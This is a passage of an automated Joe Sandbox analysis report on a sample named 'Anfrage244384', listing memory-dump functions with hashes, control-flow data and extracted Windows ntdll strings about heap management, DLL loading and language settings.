                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: $ $0
                                                          • API String ID: 3446177414-3352262554
                                                          • Opcode ID: 4b8ae68ef2a9c562fdc28d193711fe052b402483aa398298ff75a2e663a5207a
                                                          • Instruction ID: da26ad039a0f37496a9da6e5faeed940556bfd08687f46889b3dde0ff0a677bd
                                                          • Opcode Fuzzy Hash: 4b8ae68ef2a9c562fdc28d193711fe052b402483aa398298ff75a2e663a5207a
                                                          • Instruction Fuzzy Hash: CB3211B16093818FE350CF68C980B5BBBE5BB88744F084D2EF59987290D775E94ACF52
                                                          Function 34F40274 Relevance: 16.1, APIs: 1, Strings: 8, Instructions: 348timeCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1296 34f40274-34f40296 call 34ee7e54 1299 34f402b5-34f402cd call 34e876b2 1296->1299 1300 34f40298-34f402b0 RtlDebugPrintTimes 1296->1300 1305 34f406f7 1299->1305 1306 34f402d3-34f402e9 1299->1306 1304 34f40751-34f40760 1300->1304 1307 34f406fa-34f4074e call 34f40766 1305->1307 1308 34f402f0-34f402f2 1306->1308 1309 34f402eb-34f402ee 1306->1309 1307->1304 1311 34f402f3-34f4030a 1308->1311 1309->1311 1313 34f40310-34f40313 1311->1313 1314 34f406b1-34f406ba GetPEB 1311->1314 1313->1314 1318 34f40319-34f40322 1313->1318 1316 34f406bc-34f406d7 GetPEB call 34e8b970 1314->1316 1317 34f406d9-34f406de call 34e8b970 1314->1317 1326 34f406e3-34f406f4 call 34e8b970 1316->1326 1317->1326 1319 34f40324-34f4033b call 34e9ffb0 1318->1319 1320 34f4033e-34f40351 call 34f40cb5 1318->1320 1319->1320 1330 34f40353-34f4035a 1320->1330 1331 34f4035c-34f40370 call 34e8758f 1320->1331 1326->1305 1330->1331 1335 34f40376-34f40382 GetPEB 1331->1335 1336 34f405a2-34f405a7 1331->1336 1337 34f40384-34f40387 1335->1337 1338 34f403f0-34f403fb 1335->1338 1336->1307 1339 34f405ad-34f405b9 GetPEB 1336->1339 1342 34f403a6-34f403ab call 34e8b970 1337->1342 1343 34f40389-34f403a4 GetPEB call 34e8b970 1337->1343 1340 34f40401-34f40408 1338->1340 1341 34f404e8-34f404fa call 34ea27f0 1338->1341 1344 34f40627-34f40632 1339->1344 1345 34f405bb-34f405be 1339->1345 1340->1341 1348 34f4040e-34f40417 1340->1348 1364 34f40590-34f4059d call 34f411a4 call 34f40cb5 1341->1364 1365 34f40500-34f40507 1341->1365 1354 34f403b0-34f403d1 call 34e8b970 GetPEB 1342->1354 1343->1354 1344->1307 1349 34f40638-34f40643 1344->1349 1351 34f405c0-34f405db GetPEB call 34e8b970 1345->1351 1352 34f405dd-34f405e2 call 34e8b970 1345->1352 1357 34f40438-34f4043c 1348->1357 1358 34f40419-34f40429 1348->1358 1349->1307 1359 34f40649-34f40654 1349->1359 1363 34f405e7-34f405fb call 34e8b970 1351->1363 1352->1363 1354->1341 1383 34f403d7-34f403eb 1354->1383 1368 34f4044e-34f40454 1357->1368 1369 34f4043e-34f4044c call 34ec3bc9 1357->1369 1358->1357 1366 34f4042b-34f40435 call 34f4dac6 1358->1366 1359->1307 1367 34f4065a-34f40663 GetPEB 1359->1367 1394 34f405fe-34f40608 GetPEB 1363->1394 1364->1336 1373 34f40512-34f4051a 1365->1373 1374 34f40509-34f40510 1365->1374 1366->1357 1377 34f40665-34f40680 GetPEB call 34e8b970 1367->1377 1378 34f40682-34f40687 call 34e8b970 1367->1378 1370 34f40457-34f40460 1368->1370 1369->1370 1381 34f40472-34f40475 1370->1381 1382 34f40462-34f40470 1370->1382 1385 34f4051c-34f4052c 1373->1385 1386 34f40538-34f4053c 1373->1386 1374->1373 1391 34f4068c-34f406ac call 34f386ba call 34e8b970 1377->1391 1378->1391 1392 34f404e5 1381->1392 1393 34f40477-34f4047e 1381->1393 1382->1381 1383->1341 1385->1386 1395 34f4052e-34f40533 call 34f4dac6 1385->1395 1397 34f4056c-34f40572 1386->1397 1398 34f4053e-34f40551 call 34ec3bc9 1386->1398 1391->1394 1392->1341 1393->1392 1401 34f40480-34f4048b 1393->1401 1394->1307 1403 34f4060e-34f40622 1394->1403 1395->1386 1402 34f40575-34f4057c 1397->1402 1410 34f40563 1398->1410 1411 34f40553-34f40561 call 34ebfe99 1398->1411 1401->1392 1407 34f4048d-34f40496 GetPEB 1401->1407 1402->1364 1408 34f4057e-34f4058e 1402->1408 1403->1307 1413 34f404b5-34f404ba call 34e8b970 1407->1413 1414 34f40498-34f404b3 GetPEB call 34e8b970 1407->1414 1408->1364 1416 34f40566-34f4056a 1410->1416 1411->1416 1422 34f404bf-34f404dd call 34f386ba call 34e8b970 1413->1422 1414->1422 1416->1402 1422->1392
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
                                                          • API String ID: 3446177414-1700792311
                                                          • Opcode ID: 2951286656a1796020bfe60af073506e8196d6f9fca515bdd0ef070f763eaa53
                                                          • Instruction ID: 968a994395ad60ed5e80e75ad9158071bec567eb1d7243d84f41be0d91451116
                                                          • Opcode Fuzzy Hash: 2951286656a1796020bfe60af073506e8196d6f9fca515bdd0ef070f763eaa53
                                                          • Instruction Fuzzy Hash: 9CD1EF35610685DFEB02CF64C440AAEBFF1FF4A714F088899E45AAB362DB349942CF54
                                                          Function 34E8D34C Relevance: 12.8, Strings: 10, Instructions: 312COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$H/4$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
                                                          • API String ID: 0-427847877
                                                          • Opcode ID: 530e223c4dfa8fd8d7b8c1e793f6d9950e2a7ddae742842a908467bff86d33fa
                                                          • Instruction ID: e4e5de0d5e4a69028b35259753e00c22dec5cb02a01951073920e89c1141b186
                                                          • Opcode Fuzzy Hash: 530e223c4dfa8fd8d7b8c1e793f6d9950e2a7ddae742842a908467bff86d33fa
                                                          • Instruction Fuzzy Hash: 20B18F76918355DFEB11CF54C480E5BB7E8AF88B58F41492EF888D7240D770D945CB92
                                                          Function 34F3F525 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 231timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just allocated block at %p for %Ix bytes$Just allocated block at %p for 0x%Ix bytes with tag %ws$RtlAllocateHeap
                                                          • API String ID: 3446177414-1745908468
                                                          • Opcode ID: 6638dbf9c990ccf42370dc3b080be8017f166f75361246ca52a8d50a537da75e
                                                          • Instruction ID: 8ea8eaf8add2554eddcd8edead95f47e7fcac72553cd68a309327aa8e7b3c4a9
                                                          • Opcode Fuzzy Hash: 6638dbf9c990ccf42370dc3b080be8017f166f75361246ca52a8d50a537da75e
                                                          • Instruction Fuzzy Hash: 20911235A02740DFEB05CF68C440AADBBF2FF49B14F18885DE459AB262DB359942CF64
                                                          Function 34F412ED Relevance: 11.8, Strings: 9, Instructions: 515COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Free Heap block %p modified at %p after it was freed$HEAP: $HEAP[%wZ]: $Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)$Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)$Heap block at %p has corrupted PreviousSize (%lx)$Heap block at %p has incorrect segment offset (%x)$Heap block at %p is not last block in segment (%p)$Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)
                                                          • API String ID: 0-3591852110
                                                          • Opcode ID: cf604d4ffc79f5b1e5b64ed592da7b5e3bcf9e8bb90623eb01f7198ff4b678cd
                                                          • Instruction ID: a6c48bf7e2b5d7f00a55f212868767119e1a2284993972e74aa6ff2fe00bfa7c
                                                          • Opcode Fuzzy Hash: cf604d4ffc79f5b1e5b64ed592da7b5e3bcf9e8bb90623eb01f7198ff4b678cd
                                                          • Instruction Fuzzy Hash: 4A12CD74600741DFE715AF26C648BB6BBF5EF09714F08889DE49A8B752DB34E882CB50
                                                          Function 34E8D08D Relevance: 11.5, Strings: 9, Instructions: 249COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • Control Panel\Desktop\MuiCached\MachineLanguageConfiguration, xrefs: 34E8D262
                                                          • \Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 34E8D0CF
                                                          • Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 34E8D146
                                                          • \Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration, xrefs: 34E8D2C3
                                                          • @, xrefs: 34E8D313
                                                          • H/4, xrefs: 34EEA843
                                                          • @, xrefs: 34E8D0FD
                                                          • Control Panel\Desktop\LanguageConfiguration, xrefs: 34E8D196
                                                          • @, xrefs: 34E8D2AF
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @$@$@$Control Panel\Desktop\LanguageConfiguration$Control Panel\Desktop\MuiCached\MachineLanguageConfiguration$H/4$Software\Policies\Microsoft\Control Panel\Desktop$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration
                                                          • API String ID: 0-1072281047
                                                          • Opcode ID: 6470d550a3557e8775a29165d099123bb5d7fa2d4d732a5d1e45c7c8134b652f
                                                          • Instruction ID: af4a5cfa14a91f3a08f4cdadbf8538fbb4aa6a330daef1a61b3ef800837c8af0
                                                          • Opcode Fuzzy Hash: 6470d550a3557e8775a29165d099123bb5d7fa2d4d732a5d1e45c7c8134b652f
                                                          • Instruction Fuzzy Hash: 8DA15BB2908345DFE711CF60C484B5BB7E8FF88B69F404A2EE59896240DB74D949CF92
                                                          Function 34EA1070 Relevance: 11.4, APIs: 2, Strings: 4, Instructions: 940timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: !(CheckedFlags & ~HEAP_CREATE_VALID_MASK)$@$HEAP: $HEAP[%wZ]:
                                                          • API String ID: 3446177414-3570731704
                                                          • Opcode ID: 91737f144e1820384261a81fa847cd72fcdaa1f95c9d423a44b3e562dc3cad86
                                                          • Instruction ID: 6059fd638c0bb5450e765de9612dc49babaae491020522fad74dc625991dfb9b
                                                          • Opcode Fuzzy Hash: 91737f144e1820384261a81fa847cd72fcdaa1f95c9d423a44b3e562dc3cad86
                                                          • Instruction Fuzzy Hash: F6925A79A01368CFEB64CF18CC40B99B7B5BF45358F0582EAD859AB291DB309E81CF51
                                                          Function 34F3FD78 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 190timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: About to free block at %p$About to free block at %p with tag %ws$HEAP: $HEAP[%wZ]: $RtlFreeHeap
                                                          • API String ID: 3446177414-3492000579
                                                          • Opcode ID: 2fb14efb01ddb037e28253ce45888fc5d722cfd2b2870577d4b62ca41b0aa153
                                                          • Instruction ID: 7b7ffcc2d1441f9f8d3c777530415aa70fce14930de3afc7bc6940132f5df4a2
                                                          • Opcode Fuzzy Hash: 2fb14efb01ddb037e28253ce45888fc5d722cfd2b2870577d4b62ca41b0aa153
                                                          • Instruction Fuzzy Hash: 72710231A11644DFDB05CF68D440AADFBF2FF49714F088959E849AB352CB359982CFA4
                                                          Function 34EBD7B0 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 151timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • RtlDebugPrintTimes.NTDLL ref: 34EBD959
                                                            • Part of subcall function 34E94859: RtlDebugPrintTimes.NTDLL ref: 34E948F7
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: $$$$LdrShutdownProcess$Process 0x%p (%wZ) exiting$minkernel\ntdll\ldrinit.c
                                                          • API String ID: 3446177414-1975516107
                                                          • Opcode ID: 7e7573d9fd1ba24bb963d33a7bbd26893502cc0963bc1f76d30a35d9ef1eede0
                                                          • Instruction ID: 3900cf630192229e5656ef07c44b90150217a9eeec50df87894c59f77dbb90a3
                                                          • Opcode Fuzzy Hash: 7e7573d9fd1ba24bb963d33a7bbd26893502cc0963bc1f76d30a35d9ef1eede0
                                                          • Instruction Fuzzy Hash: 0951BC75A08349DFEB05CFE4D484BADBBB1FF48318F188169D8846B291D775A842CBC0
                                                          Function 34F29179 Relevance: 10.4, Strings: 8, Instructions: 401COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: %s\%ld\%s$%s\%u-%u-%u-%u$AppContainerNamedObjects$BaseNamedObjects$Global\Session\%ld%s$\AppContainerNamedObjects$\BaseNamedObjects$\Sessions
                                                          • API String ID: 0-3063724069
                                                          • Opcode ID: 0502080c7a38bb5a4b17f5cfc7e5c16ca87016ffcb44399e9b5c1f6314e53bb2
                                                          • Instruction ID: a8f9c1316bbd601d1edd87d96bb51a58a19534a1bf6121620d8bb46d86ea3aec
                                                          • Opcode Fuzzy Hash: 0502080c7a38bb5a4b17f5cfc7e5c16ca87016ffcb44399e9b5c1f6314e53bb2
                                                          • Instruction Fuzzy Hash: D7D1B2B6A04311AFE721CB54C841F6BBBE8AF84764F484E2DF984A7150D774CD4A8BD2
                                                          Function 34E8F172 Relevance: 8.2, Strings: 6, Instructions: 684COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
                                                          • API String ID: 0-523794902
                                                          • Opcode ID: 6f5e9a3d0c908c7cade9c817bed0be37d6fe7090f2bc8bd9cf7b5879c0237ef1
                                                          • Instruction ID: b6e2a5665309a11ffd8d584abd9d10341469edc28390477b61972fc707ac286c
                                                          • Opcode Fuzzy Hash: 6f5e9a3d0c908c7cade9c817bed0be37d6fe7090f2bc8bd9cf7b5879c0237ef1
                                                          • Instruction Fuzzy Hash: C142E075614781DFEB05CF28C880A2ABBE5FF88B48F04496DE499CB351DB34D881CB52
                                                          Function 34EB51EF Relevance: 7.9, Strings: 6, Instructions: 434COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: H/4$Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
                                                          • API String ID: 0-2766914572
                                                          • Opcode ID: fd783fd12ae05d2d3f994f07b8895a9a352bec83a38ad3c40c712e23e5129d73
                                                          • Instruction ID: e211a39c755342e0f85e4dcbc313772e0ada5cd1f7cb7a1d1f785303e5f13515
                                                          • Opcode Fuzzy Hash: fd783fd12ae05d2d3f994f07b8895a9a352bec83a38ad3c40c712e23e5129d73
                                                          • Instruction Fuzzy Hash: 74F16EB6D15229EFDF41CF94C980ADEB7B9FF08654F51405AE451E7210EB749E01CBA0
                                                          Function 34EAB1B0 Relevance: 7.8, Strings: 6, Instructions: 350COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: API set$DLL %wZ was redirected to %wZ by %s$LdrpPreprocessDllName$LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx$SxS$minkernel\ntdll\ldrutil.c
                                                          • API String ID: 0-122214566
                                                          • Opcode ID: 10b73f9c8f259d0b85b6a021be678aff8aa07b883d7931ae00dca6c0e0432bc6
                                                          • Instruction ID: 95487f57f14af32b59ed96711cb72cb4227581c16fbaf8631ade295da8f59322
                                                          • Opcode Fuzzy Hash: 10b73f9c8f259d0b85b6a021be678aff8aa07b883d7931ae00dca6c0e0432bc6
                                                          • Instruction Fuzzy Hash: 8EC14771A14315EFEB148F64CC80B7E77A5BF45318F1441ADEA05AF291EBB4C949C391
                                                          Function 34EA0770 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 414COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
                                                          • API String ID: 0-4253913091
                                                          • Opcode ID: a59aece2fe45a7ccc0dc8a6263599f386959fc3844ddf4b31f709599d1e46660
                                                          • Instruction ID: 82eda2f085e9706713f7f2c010695df6552ccd55e3812132d471ab0b4c9cd98c
                                                          • Opcode Fuzzy Hash: a59aece2fe45a7ccc0dc8a6263599f386959fc3844ddf4b31f709599d1e46660
                                                          • Instruction Fuzzy Hash: C7F1AA74B00605DFEB05CF68C890B6AB7F5FF85308F1586A8E4259B392DB31E981CB91
                                                          Function 34EBF5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • RTL: Re-Waiting, xrefs: 34F0031E
                                                          • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 34F002BD
                                                          • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 34F002E7
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
                                                          • API String ID: 0-2474120054
                                                          • Opcode ID: a8a5d9f98d63540e897413097b07531255f9e95926a42c781702a353d443977e
                                                          • Instruction ID: 4bc9c89763fb328b79b0feea61ced45bcbd2b17705dc7496292e30bb72450e3c
                                                          • Opcode Fuzzy Hash: a8a5d9f98d63540e897413097b07531255f9e95926a42c781702a353d443977e
                                                          • Instruction Fuzzy Hash: CFE1AC74608741DFEB11CF68D880B1AB7E4EF89354F144A6DE9A4CB2E1DB74D846CB82
                                                          Function 34F19C32 Relevance: 6.8, Strings: 5, Instructions: 542COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: @$AVRF: Verifier .dlls must not have thread locals$KnownDllPath$L$\KnownDlls32
                                                          • API String ID: 3446177414-3127649145
                                                          • Opcode ID: 1d76c859d0a7e92602392f28754077ad629b0ec45c0a3bf169eef011f305cdca
                                                          • Instruction ID: e37f891e5505b8491d13650e14d0dfa880426ab63f245969e4ef0358a33b202a
                                                          • Opcode Fuzzy Hash: 1d76c859d0a7e92602392f28754077ad629b0ec45c0a3bf169eef011f305cdca
                                                          • Instruction Fuzzy Hash: 3B324AB5A007199FEB21CF65CC88B9AB7F8FF48300F1446EAD509A7650DB71AA85CF50
                                                          Function 34F6B16B Relevance: 6.4, APIs: 4, Instructions: 450timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID:
                                                          • API String ID: 3446177414-0
                                                          • Opcode ID: 73f66584dae53412daa80f9292abee730bc607f825fd9624c18c4dcda7a62b59
